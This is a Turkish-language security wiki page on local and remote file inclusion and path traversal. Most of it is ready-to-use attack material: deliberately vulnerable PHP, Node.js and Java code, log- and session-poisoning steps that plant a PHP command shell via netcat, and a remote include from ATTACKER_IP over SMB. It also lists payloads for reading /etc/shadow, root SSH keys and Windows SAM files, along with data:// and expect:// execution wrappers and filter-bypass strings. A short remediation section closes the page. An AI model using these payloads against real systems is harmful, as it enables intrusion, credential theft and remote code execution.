AltaySec Wiki File Inclusion (LFI / RFI) & Path Traversal   ·   AltaySec Araştırmalar

File Inclusion (LFI / RFI) & Path Traversal

root@altaysec:~# whoami
> Yazar: İlknur Şeyma Uzun

File Inclusion ve Path Traversal zafiyetleri, modern web uygulamalarındaki en kritik ve yaygın mimari kusurlardan biridir. Bu zafiyetlerin doğası, uygulamanın dosya sistemine erişim sağlayan API'leri (örneğin POSIX open(), C/PHP fopen(), include(), require()) kullanırken dışarıdan gelen (user-supplied) verileri yeterince sanitize etmemesinden kaynaklanır. Red Team operasyonlarında bu zafiyetlerin stratejik değeri paha biçilemezdir; çünkü yetkisiz veri okuma (Data Exfiltration) eyleminden, sunucu belleğinde zararlı kod çalıştırmaya (Remote Code Execution - RCE) uzanan kusursuz bir "Exploit Chain" (İstismar Zinciri) sunarlar.

Modern mimarilerde, uygulamanın Abstract Syntax Tree (AST) seviyesinde yorumlayıcıya (interpreter) aktarılan dosya yolları, işletim sisteminin Virtual File System (VFS) katmanında doğrudan system call (syscall) seviyesinde karşılık bulur. Güvenlik doğrulaması (Validation) yapılmayan bir I/O işlemi, saldırganın uygulama bağlamında (Application Context) işletim sistemi sınırlarını ihlal etmesine olanak tanır.

How It Works (Teknik Analiz)

File Inclusion ve Path Traversal temelde bir Girdi Doğrulama (Input Validation) başarısızlığıdır. Uygulama, istemciden aldığı veriyi (URL parametresi, body verisi, cookie veya HTTP header) doğrudan bir dosya yolu değişkenine (file path parameter) atadığında ortaya çıkar.

İşletim sistemleri dosya yollarını çözümlerken "Relative Path" (Göreceli Yol) ve "Absolute Path" (Mutlak Yol) mantığını kullanır. İşletim sistemi çekirdeği (Kernel), ../ veya ..\ dizilerini algıladığında ağaç yapısında bir üst dizine atlama (Directory Traversal) komutu olarak işler. Web sunucusu (Apache, Nginx vb.) bir web kök dizini (Web Root, örn: /var/www/html/) belirlese de, arka planda çalışan betik dilleri (PHP, Python, Node.js) genellikle sunucunun kısıtlamalarına tabi kalmadan doğrudan OS kernel'ına dosya okuma isteği gönderir. Bu uyumsuzluk, Directory Traversal ile başlayan saldırının File Inclusion ile birleşerek kod yürütülmesine dönüşmesini sağlar.

Vulnerable Code Patterns

Aşağıdaki örneklerde, farklı dillerde bu zafiyete neden olan anti-pattern yapıları inceleyelim.

1. PHP - Klasik LFI/RFI Zafiyeti

<?php
// Gelen 'page' parametresi herhangi bir filtrelemeden geçmeden dahil ediliyor.
// allow_url_include=On ise RFI, Off ise LFI zafiyetine yol açar.
$file = $_GET['page'];
include($file); 

// Diğer tehlikeli fonksiyonlar:
// require(), include_once(), require_once(), file_get_contents(), fopen()
?>

2. Node.js (Express) - Path Traversal Zafiyeti

const express = require('express');
const fs = require('fs');
const app = express();

app.get('/download', (req, res) => {
    // Kullanıcıdan alınan dosya adı doğrudan fs.readFile metoduna aktarılıyor.
    let filename = req.query.file; 
    let filePath = '/var/www/uploads/' + filename;
    
    // Saldırgan filename parametresine "../../../etc/passwd" verdiğinde
    // filePath değişkeni '/var/www/uploads/../../../etc/passwd' olarak çözümlenir.
    fs.readFile(filePath, 'utf8', (err, data) => {
        if (err) res.send("Error");
        res.send(data);
    });
});

3. Java (Spring) - Yetersiz Yol Doğrulaması

import java.io.File;
import java.io.FileInputStream;
import javax.servlet.http.HttpServletResponse;

public void getFile(String fileName, HttpServletResponse response) throws Exception {
    // Java'da java.io.File nesnesi traversal karakterlerini kernel'a olduğu gibi iletir.
    File file = new File("/var/www/images/", fileName);
    FileInputStream in = new FileInputStream(file);
    // ... dosya okuma ve response dönme işlemleri ...
}

Detection & Enumeration (Keşif ve Analiz)

Keşif aşamasında amaç, hedefin hangi parametreleri üzerinden dosya sistemiyle etkileşime girdiğini tespit etmektir. Parametre isimleri genellikle page, file, doc, dir, path, folder, include, template gibi değişkenlerden oluşur.

Manuel Test Metodolojisi:

  1. Error-Based Analysis (Hata Tabanlı Çıkarım): Girdi alanlarına rastgele stringler veya geçersiz dosya yolları (/invalid_file_test.php) girilerek uygulamanın döndürdüğü hatalar analiz edilir. Warning: include(invalid_file_test.php): failed to open stream gibi bir hata, sistemin include() fonksiyonunu kullandığını ve LFI potansiyeli taşıdığını kesinleştirir.
  2. Behavioral Analysis (Davranışsal Analiz): Girdi olarak mevcut uygulamanın kendi dosyası (örn: index.php?page=index.php) verilir. Sayfanın sonsuz döngüye girmesi, aşırı yavaşlaması veya sayfanın içinde sayfanın kaynak kodunun tekrar yüklenmesi LFI zafiyetini gösterir.
  3. Fuzzing (Bulanıklaştırma): FFuF veya Burp Intruder kullanılarak gelişmiş sözlük (dictionary) saldırıları gerçekleştirilir. Hedef, bilinen sistem dosyalarını okumaya çalışmaktır.

Fuzzing Komut Örneği:

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://target.com/index.php?page=FUZZ" -fw 20

Attack Vectors & Exploitation (İstismar Vektörleri)

Path Traversal (Directory Traversal)

Uygulamanın belirlediği kök dizinden (base directory) kaçarak işletim sistemindeki hassas yapılandırma dosyalarını okuma işlemidir. Hedef sunucuda RCE elde edilemediği durumlarda, veritabanı kimlik bilgileri, kaynak kodlar ve kullanıcı şifre hash'lerini sızdırmak için kullanılır.

Local File Inclusion (LFI)

Path Traversal ile dosyaları okumanın ötesine geçerek, okunan dosyanın içerisindeki kod bloklarının uygulama bağlamında (örn. PHP interpreter tarafından) çalıştırılması (execution) eylemidir. include() gibi fonksiyonlar, okudukları metnin içinde <?php ... ?> etiketi görürse uzantısı ne olursa olsun (örneğin .log, .txt, .jpg) bu kodu anında çalıştırır.

Remote File Inclusion (RFI)

Uygulamanın dış bir ağdan veya saldırgana ait bir sunucudan dosya dahil etmesine olanak tanıyan zafiyettir. PHP ortamlarında çalışması için php.ini dosyasında allow_url_include = On ve allow_url_fopen = On yapılandırmalarının aktif olması gerekir.

LFI to RCE via Log Poisoning

Hedef sistemde LFI tespit edildiğinde bunu RCE'ye (Remote Code Execution) yükseltmenin en etkili yoludur. Saldırgan, web sunucusunun (Apache, Nginx) veya farklı bir servisin (SSH, FTP) log dosyalarına PHP kodu enjekte eder. Ardından LFI zafiyeti üzerinden bu log dosyasını çağırarak içindeki PHP kodunu çalıştırır.

İstismar Adımları:

  1. Netcat ile sunucuya bağlan ve zararlı User-Agent veya URL isteği gönder:
    nc target.com 80
    GET /<?php system($_GET['cmd']); ?> HTTP/1.1
    Host: target.com
    Connection: close
    
  2. Apache bu isteği 400 Bad Request veya 404 Not Found olarak değerlendirir ancak access.log veya error.log dosyasına olduğu gibi kaydeder.
  3. LFI üzerinden log dosyasını tetikle: http://target.com/index.php?page=/var/log/apache2/access.log&cmd=id

LFI to RCE via PHP Sessions

Eğer uygulama kullanıcı oturum verilerini (session data) sunucu tarafında bir dosyada saklıyor ve kullanıcı bu veriye bir şekilde müdahale edebiliyorsa, session dosyasının içi zehirlenir.

  1. Formlara veya profil bilgisi alanlarına <?php echo system("whoami"); ?> yazılır.
  2. Tarayıcı çerezlerindeki (Cookies) PHPSESSID değeri alınır. (Örn: 1a2b3c4d...)
  3. LFI üzerinden session dosyası tetiklenir: http://target.com/index.php?page=/var/lib/php/sessions/sess_1a2b3c4d

LFI to RCE via File Upload

Sistemde sadece resim yüklemeye izin veren kısıtlı bir dosya yükleme özelliği (File Upload) varsa, içerisine PHP kodu gömülmüş (EXIF datası veya dosya sonu) bir .jpg veya .png yüklenir. Uzantısı filtreye takılmasa da, LFI kullanılarak yüklenen resim dahil edilir ve içindeki kod çalıştırılır.

RFI via SMB (Windows Environments)

Modern PHP sistemlerinde allow_url_include = Off varsayılan olarak kapalıdır ve http/ftp tabanlı RFI engellenir. Ancak hedef sistem Windows ise, PHP allow_url_include ayarını ihlal etmeden SMB (\\) protokolü üzerinden uzak dosya çağırabilir. Saldırgan dışarıya açık bir SMB paylaşımı kurar ve içine shell.php koyar: http://target.com/index.php?page=\\ATTACKER_IP\share\shell.php

LFI via /proc/self/environ

Eski nesil CGI tabanlı sunucularda çalışan bir tekniktir. Saldırgan HTTP başlığındaki (Header) User-Agent kısmına zararlı PHP kodunu yazar. LFI üzerinden /proc/self/environ dosyası okunduğunda, bu dosya o anki işlemin çevresel değişkenlerini (User-Agent dahil) içerdiği için kod tetiklenir.

Payloads & Advanced Commands

Basic Linux/Unix Payloads

Sunucunun türünü ve içerisindeki kritik kullanıcıları belirlemek için kullanılan başlangıç payload'larıdır.

/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/home/user/.bash_history
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

Basic Windows Payloads

Windows sunucuların yapılandırma ve log dosyaları.

c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
c:\windows\win.ini
c:\windows\system.ini
c:\windows\repair\sam
c:\windows\system32\config\sam
c:\windows\system32\config\system
c:\inetpub\logs\logfiles

PHP Wrapper Payloads (LFI/RFI)

PHP'nin yerleşik I/O akışlarını (stream wrappers) manipüle eden ileri düzey payloadlar. Kaynak kod okumak veya komut çalıştırmak için kullanılırlar.

1. Kaynak Kodu Okuma (Base64 Encode): Uygulama include() edilen dosyayı anında çalıştıracağı için, kaynak kodunu okumak imkansızdır. Bunu aşmak için dosya çalıştırılmadan önce Base64 formatına dönüştürülür.

php://filter/read=convert.base64-encode/resource=config.php
php://filter/read=convert.base64-encode/resource=../../../../etc/passwd

2. Karakter Değiştirme (Rot13): WAF ve IDS imzalarını aşmak için filtreleme işlemi.

php://filter/string.rot13/resource=.htaccess

Base64 & Data Wrapper Execution

data:// wrapper'ı, harici veya yerel bir dosya belirtmek yerine, payload'un direkt olarak URL üzerinden satır içi (inline) verilmesini sağlar. RCE elde etmek için doğrudan kullanılır.

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=whoami
data:text/plain,<?php system('id'); ?>

Expect Wrapper Execution

expect:// eklentisi PHP'de aktifse, doğrudan işletim sistemi komutu çalıştırılmasına olanak tanır.

expect://id
expect://ls%20-al

Bypass & Obfuscation (Atlatma Teknikleri)

Hedef sistemlerde geliştiriciler zafiyeti engellemek için genellikle str_replace() veya Regex ile ../ ifadelerini temizlerler. Ancak bu zayıf sanitizasyon yöntemleri atlatılabilir.

Null Byte Injection (%00)

PHP < 5.3.4 ve C/C++ tabanlı alt uç fonksiyonlarda geçerlidir. C dilinde stringler "Null Byte" (\x00) ile sonlandırılır. Uygulama kodda dosya sonuna .php eklemeye zorluyorsa (örn: include($file . ".php");), saldırgan bunu devre dışı bırakır.

?page=../../../etc/passwd%00

Bu payload kernel'a iletildiğinde /etc/passwd olarak okunur, sonrasındaki .php yok sayılır.

URL & Double Encoding

Web sunucuları ve WAF'lar genellikle standart ../ dizisini filtreler. Parametreleri URL encode ve Double URL encode yaparak WAF kuralları aşılır.

Filter Evasion (Non-Recursive Stripping)

Eğer uygulama sadece bir kere ../ dizisini siliyor ve döngüsel (recursive) bir silme yapmıyorsa, iç içe geçmiş (nested) traversal dizileri kullanılır. Uygulama ortadaki ../'yi sildiğinde, kalan parçalar birleşerek yeni bir ../ oluşturur.

?page=....//....//....//etc/passwd
?page=....\/....\/....\/etc/passwd
?page=..././..././..././etc/passwd

Path Truncation (Dizin Kırpma)

Linux ve Windows işletim sistemlerinde dosya yolu için bir uzunluk sınırı vardır (Çoğunlukla MAX_PATH 4096 byte/karakterdir). PHP, bu sınırı aşan kısmı otomatik olarak kırpar (truncate). Eğer geliştirici kodda include($file . ".html"); kullanıyorsa, saldırgan çok uzun bir dizin girerek .html kısmının 4096 karakter sınırının dışında kalmasını sağlar.

?page=../../../etc/passwd....................................[x4096 kere]
?page=../../../etc/passwd\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.[x4096 kere]
?page=../../../[x4096 kere]../../../../../etc/passwd

Start of Path Validation Bypass

Bazı sistemler girdinin kesinlikle /var/www/html/ gibi belirli bir kök dizinle başlamasını şart koşar. Bu durumda geçerli dizin başa yazılır ve hemen peşinden traversal uygulanır.

?page=/var/www/html/../../../../../../etc/passwd

Remediation & Prevention (Önleme ve Savunma)

LFI ve Path Traversal zafiyetlerini kökünden çözmek için Blue Team ve geliştirici ekiplerinin uygulaması gereken mimari güvenlik pratikleri:

  1. Strict Input Validation & Allowlisting (Kesin İzin Verilenler Listesi): Kullanıcı girdisini dosya yollarına doğrudan entegre etmek yerine dolaylı referanslar kullanılmalıdır. Örneğin 1 verildiğinde contact.php, 2 verildiğinde about.php çağrılmalıdır.
    $pages = ["contact" => "contact.php", "about" => "about.php"];
    if (array_key_exists($_GET['page'], $pages)) {
        include($pages[$_GET['page']]);
    } else {
        // Hata yönetimi
    }
    
  2. Path Canonicalization (Dosya Yolu Standartlaştırma): Dosya içeriğini okumadan önce veya include etmeden önce, dosya yolunun çözümlenmiş (canonicalized) halini alıp güvenli dizinde olduğundan emin olunmalıdır. PHP'de realpath(), Java'da getCanonicalPath() kullanılır.
    $base_dir = "/var/www/html/pages/";
    $requested_file = $base_dir . $_GET['page'];
    $resolved_path = realpath($requested_file);
    
    if ($resolved_path && strpos($resolved_path, $base_dir) === 0) {
        include($resolved_path);
    }
    
  3. Environment Hardening (Sunucu Sıkılaştırma):
    • PHP konfigürasyonu (php.ini) içerisinde allow_url_include = Off ve allow_url_fopen = Off yapılmalıdır.
    • Uygulama, işletim sisteminde kısıtlı haklara sahip bir kullanıcı ile çalıştırılmalıdır (Principle of Least Privilege).
    • Sunucu tarafında AppArmor, SELinux veya Chroot jails (Kafesleme) kullanarak uygulamanın kendi klasörü dışına çıkması kernel seviyesinde engellenmelidir.
    • open_basedir direktifi kullanılarak PHP'nin yalnızca belirli dizinlere erişmesi sağlanmalıdır.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
FFuF Hızlı ve gelişmiş web fuzzer ile LFI/Traversal endpointlerini keşfetme. ffuf -u http://target/index.php?page=FUZZ -w wordlist.txt
LFISuite Tam otomatik LFI tarayıcı, istismar edici ve Reverse Shell aracı. python lfisuite.py
Kadimus Gelişmiş LFI istismar aracı, Log poisoning ve RCE otomasyonu yapar. kadimus -u http://target.com/index.php?page= -S
Fimap Python tabanlı, LFI/RFI bulma, analiz etme ve RCE elde etme motoru. fimap -u "http://target.com/index.php?page="
Burp Suite Intruder WAF Bypass için Double Encoding veya Null Byte testlerini otomatikleştirme. Özel Wordlist ile Sniper Attack yapılandırması
Panoptic LFI/Path Traversal üzerinden yaygın log ve konfigürasyon dosyalarını otomatik çeker. panoptic.py -u "http://target/index.php?page="

Yazar: İlknur Şeyma Uzun · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv